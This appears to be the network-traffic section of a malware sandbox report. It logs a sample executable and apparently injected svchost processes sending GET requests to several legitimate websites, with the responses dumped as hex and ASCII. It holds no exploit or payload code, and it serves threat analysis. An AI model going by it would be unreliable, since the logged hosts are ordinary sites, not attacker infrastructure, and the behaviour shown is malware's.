2023-05-31 12:51:51 UTC	18	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 35 39 2e 30 33 31 20 31 39 35 2e 32 36 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 36 33 2e 32 35 38 20 31 39 38 2e 39 34 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 34 37 2e 32 32 35 20 31 39 35 2e 32 36 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 35 31 2e 34 35 32 20 31 39 38 2e 39 34 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 33 35 2e 34 31 39 20 31 39 35 2e Data Ascii: fill="#fff"/><polygon points="197.11 59.031 195.268 61.144 197.11 63.258 198.948 61.144 197.11 59.031" fill="#fff"/><polygon points="197.11 47.225 195.268 49.338 197.11 51.452 198.948 49.338 197.11 47.225" fill="#fff"/><polygon points="197.11 35.419 195.
2023-05-31 12:51:51 UTC	34	IN	Data Raw: 20 31 31 33 2e 31 35 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 36 33 2e 32 35 38 20 31 31 36 2e 38 33 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 20 31 31 33 2e 31 35 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 35 31 2e 34 35 32 20 31 31 36 2e 38 33 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 33 35 2e 34 31 39 20 31 31 33 2e 31 35 34 20 33 37 2e 35 33 32 20 31 31 34 2e 39 39 36 20 33 39 2e 36 34 36 20 31 31 36 2e 38 33 34 20 33 37 2e 35 Data Ascii: 113.154 61.144 114.996 63.258 116.834 61.144 114.996 59.031" fill="#fff"/><polygon points="114.996 47.225 113.154 49.338 114.996 51.452 116.834 49.338 114.996 47.225" fill="#fff"/><polygon points="114.996 35.419 113.154 37.532 114.996 39.646 116.834 37.5
2023-05-31 12:51:51 UTC	50	IN	Data Raw: 34 2e 39 32 31 20 32 34 30 2e 30 34 32 20 31 34 32 2e 38 30 38 20 32 33 38 2e 32 30 33 20 31 34 30 2e 36 39 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 37 2e 35 36 35 20 32 35 30 2e 33 31 36 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 33 2e 33 33 37 20 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 38 2e 34 37 38 20 32 31 35 2e 37 35 39 20 32 35 30 2e 33 31 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 31 2e 35 33 31 20 32 34 36 2e 36 33 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 35 Data Ascii: 4.921 240.042 142.808 238.203 140.694" fill="#fff"/><polygon points="246.638 225.451 248.478 227.565 250.316 225.451 248.478 223.337 246.638 225.451" fill="#fff"/><polygon points="248.478 215.759 250.316 213.645 248.478 211.531 246.636 213.645 248.478 215
2023-05-31 12:51:51 UTC	66	IN	Data Raw: 38 20 39 34 2e 34 34 38 20 32 30 33 2e 39 35 32 20 39 36 2e 32 38 36 20 32 30 31 2e 38 33 38 20 39 34 2e 34 34 38 20 31 39 39 2e 37 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 20 39 32 2e 36 31 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 39 32 2e 31 34 36 20 39 36 2e 32 38 36 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 20 39 32 2e 36 31 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 38 30 2e 33 34 20 39 36 2e 32 38 36 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 Data Ascii: 8 94.448 203.952 96.286 201.838 94.448 199.725" fill="#fff"/><polygon points="94.448 187.919 92.61 190.032 94.448 192.146 96.286 190.032 94.448 187.919" fill="#fff"/><polygon points="94.448 176.113 92.61 178.226 94.448 180.34 96.286 178.226 94.448 176.113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	58456	188.114.96.7	443	C:\Users\user\Desktop\fs7AQcREFX.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	78	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-05-31 12:51:51 UTC	80	IN	HTTP/1.1 302 Found Date: Wed, 31 May 2023 12:51:51 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Wed, 31 May 2023 13:01:51 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nNDd8a3g4DU%2FcKcRT3KfGm%2BXEr%2BcMg8QRfASI6LpgJp7eR0ihsRRW32GDee6%2FL9h5uvxFzuSP2E6vn4VWQPmyG6SR5TRYNxZqoLwQEK35sNvdigazR3fT%2FUw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cff59c79a48bbc7-FRA alt-svc: h3=":443"; ma=86400
2023-05-31 12:51:51 UTC	81	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-05-31 12:51:51 UTC	81	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	58447	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	78	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-05-31 12:51:51 UTC	81	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 May 2023 12:53:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-05-31 12:51:51 UTC	81	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-05-31 12:51:51 UTC	97	IN	Data Raw: 4e 41 52 49 55 4d 20 43 45 44 55 52 20 50 54 2e 20 e2 80 9e 43 59 42 45 52 42 45 5a 50 49 45 43 5a 45 c5 83 53 54 57 4f 20 57 2e 2e 2e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 33 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 74 61 2d 62 6f 74 74 6f 6d 20 68 69 64 65 22 3e 0d 0a 20 0d 0a 32 30 30 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 44 61 74 61 20 70 75 62 6c 69 6b 61 63 6a 69 3a 20 3c 2f 73 70 61 6e 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 63 6c 6f 63 6b 2d 6f 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 69 3e 20 31 39 2e 30 31 2e 32 30 32 33 Data Ascii: NARIUM CEDUR PT. CYBERBEZPIECZESTWO W...</a> </h3> </div> <div class="meta-bottom hide"> 2000 <span class="sr-only">Data publikacji: </span><i class="fa fa-clock-o" aria-hidden="true"></i> 19.01.2023
2023-05-31 12:51:51 UTC	113	IN	Data Raw: 31 32 36 31 38 22 20 61 6c 74 3d 22 47 c5 82 75 63 68 6f 6e 69 65 6d 69 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 0d 0a 31 30 30 30 0d 0a 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 76 3d 31 36 35 37 31 Data Ascii: 12618" alt="Guchoniemi" /></a></div><div class="item" style="width:300px; height:179px;margin-bottom:10px"><a href="/w20/batony/4596,1000Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?v=16571

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	63360	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:58 UTC	2700	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-05-31 12:51:58 UTC	2700	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 May 2023 12:51:58 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-31 12:51:58 UTC	2701	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c6<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	63455	35.214.171.193	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2701	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: flamingorecordings.com
2023-05-31 12:51:59 UTC	2702	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 31 May 2023 12:51:59 GMT Content-Type: text/html Content-Length: 75193 Connection: close Vary: Accept-Encoding ETag: "6459edff-125b9" Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1
2023-05-31 12:51:59 UTC	2702	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex"
2023-05-31 12:51:59 UTC	2718	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 35 39 2e 30 33 31 20 31 39 35 2e 32 36 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 36 33 2e 32 35 38 20 31 39 38 2e 39 34 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 34 37 2e 32 32 35 20 31 39 35 2e 32 36 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 35 31 2e 34 35 32 20 31 39 38 2e 39 34 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 33 35 2e 34 31 39 20 31 39 35 2e Data Ascii: fill="#fff"/><polygon points="197.11 59.031 195.268 61.144 197.11 63.258 198.948 61.144 197.11 59.031" fill="#fff"/><polygon points="197.11 47.225 195.268 49.338 197.11 51.452 198.948 49.338 197.11 47.225" fill="#fff"/><polygon points="197.11 35.419 195.
2023-05-31 12:51:59 UTC	2734	IN	Data Raw: 20 31 31 33 2e 31 35 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 36 33 2e 32 35 38 20 31 31 36 2e 38 33 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 20 31 31 33 2e 31 35 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 35 31 2e 34 35 32 20 31 31 36 2e 38 33 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 33 35 2e 34 31 39 20 31 31 33 2e 31 35 34 20 33 37 2e 35 33 32 20 31 31 34 2e 39 39 36 20 33 39 2e 36 34 36 20 31 31 36 2e 38 33 34 20 33 37 2e 35 Data Ascii: 113.154 61.144 114.996 63.258 116.834 61.144 114.996 59.031" fill="#fff"/><polygon points="114.996 47.225 113.154 49.338 114.996 51.452 116.834 49.338 114.996 47.225" fill="#fff"/><polygon points="114.996 35.419 113.154 37.532 114.996 39.646 116.834 37.5
2023-05-31 12:51:59 UTC	2750	IN	Data Raw: 34 2e 39 32 31 20 32 34 30 2e 30 34 32 20 31 34 32 2e 38 30 38 20 32 33 38 2e 32 30 33 20 31 34 30 2e 36 39 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 37 2e 35 36 35 20 32 35 30 2e 33 31 36 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 33 2e 33 33 37 20 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 38 2e 34 37 38 20 32 31 35 2e 37 35 39 20 32 35 30 2e 33 31 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 31 2e 35 33 31 20 32 34 36 2e 36 33 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 35 Data Ascii: 4.921 240.042 142.808 238.203 140.694" fill="#fff"/><polygon points="246.638 225.451 248.478 227.565 250.316 225.451 248.478 223.337 246.638 225.451" fill="#fff"/><polygon points="248.478 215.759 250.316 213.645 248.478 211.531 246.636 213.645 248.478 215
2023-05-31 12:51:59 UTC	2766	IN	Data Raw: 38 20 39 34 2e 34 34 38 20 32 30 33 2e 39 35 32 20 39 36 2e 32 38 36 20 32 30 31 2e 38 33 38 20 39 34 2e 34 34 38 20 31 39 39 2e 37 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 20 39 32 2e 36 31 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 39 32 2e 31 34 36 20 39 36 2e 32 38 36 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 20 39 32 2e 36 31 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 38 30 2e 33 34 20 39 36 2e 32 38 36 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 Data Ascii: 8 94.448 203.952 96.286 201.838 94.448 199.725" fill="#fff"/><polygon points="94.448 187.919 92.61 190.032 94.448 192.146 96.286 190.032 94.448 187.919" fill="#fff"/><polygon points="94.448 176.113 92.61 178.226 94.448 180.34 96.286 178.226 94.448 176.113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	63521	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2775	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-05-31 12:51:59 UTC	2776	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 May 2023 12:53:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-05-31 12:51:59 UTC	2776	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-05-31 12:51:59 UTC	2792	IN	Data Raw: 4e 41 52 49 55 4d 20 43 45 44 55 52 20 50 54 2e 20 e2 80 9e 43 59 42 45 52 42 45 5a 50 49 45 43 5a 45 c5 83 53 54 57 4f 20 57 2e 2e 2e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 33 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 74 61 2d 62 6f 74 74 6f 6d 20 68 69 64 65 22 3e 0d 0a 20 0d 0a 32 30 30 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 44 61 74 61 20 70 75 62 6c 69 6b 61 63 6a 69 3a 20 3c 2f 73 70 61 6e 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 63 6c 6f 63 6b 2d 6f 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 69 3e 20 31 39 2e 30 31 2e 32 30 32 33 Data Ascii: NARIUM CEDUR PT. CYBERBEZPIECZESTWO W...</a> </h3> </div> <div class="meta-bottom hide"> 2000 <span class="sr-only">Data publikacji: </span><i class="fa fa-clock-o" aria-hidden="true"></i> 19.01.2023
2023-05-31 12:51:59 UTC	2808	IN	Data Raw: 31 32 36 31 38 22 20 61 6c 74 3d 22 47 c5 82 75 63 68 6f 6e 69 65 6d 69 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 0d 0a 31 30 30 30 0d 0a 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 76 3d 31 36 35 37 31 Data Ascii: 12618" alt="Guchoniemi" /></a></div><div class="item" style="width:300px; height:179px;margin-bottom:10px"><a href="/w20/batony/4596,1000Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?v=16571

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	64363	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2823	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
